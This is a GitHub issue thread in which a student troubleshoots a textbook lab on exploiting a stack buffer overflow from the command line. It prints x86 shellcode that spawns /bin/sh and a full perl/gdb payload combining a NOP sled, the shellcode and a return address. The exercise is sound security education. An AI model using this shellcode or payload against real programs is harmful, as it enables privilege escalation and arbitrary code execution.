Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lab 11-3 Exploiting Stack Overflows from the Command line #5

Open
MrPineMan opened this issue Sep 24, 2018 · 2 comments
Open

Lab 11-3 Exploiting Stack Overflows from the Command line #5

MrPineMan opened this issue Sep 24, 2018 · 2 comments

Comments

@MrPineMan
Copy link

Hi, First of all thanks for the awesome book with the even nicer content!

I'm stuck for 1 month now, hopefully you can help me further to see what i'm doing wrong.
During lab 11-3 the calculated shellcode size returns 53 instant of 59 what is given in the book.
perl -e ‘print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";’ > sc

image

This isn't a big deal because it should still work. I've readed the text carefull multiple times and also readed the entire "for further reading" pages. From different calculation with the NOP sled till brute forcing the amount of Nop sled bytes (yep I'm de desperate :) ) it didn't worked out. I even tryed little endian as well as big endian haha...

Im using a 32-bit kali machine with of course ASLR disbled.
The following address is used as the repeating return address: 0x0ffff3fc which is \xfc\xf3\xff\xff\x0f in little endian

image

My calculation looks like: (412 bytes – 200 bytes of NOP – 53 bytes of shellcode) / 4 bytes of Addresses = 39.75. I changed it to 39 bytes, and increased the NOP from 200 till 203 which brought me to a total sum of 412.

gdb output shows a strlen error?: gdb -q --args ./meet Vincent perl -e 'print "\x90"x203 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xfc\xf3\xff\xff\x0f'``

image

If you need some additional information to help me further let me know. I'm already happy with a example exploit which recently worked, where I can break it down in pieces to see the differences.

Thanks in advance!

@MrPineMan
Copy link
Author

I've got it working 🥇 Instead of the VMware edition from kali.org I installed the 32bit version manually. Further more I added an account using the UI instant of the useradd -m command which adds the homefolders etc. This shouldn't change anything, so I think I just did something wrong. 👍

Thanks anyways. #

This issue can be closed.

@harperaa
Copy link
Collaborator

harperaa commented Sep 26, 2018 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants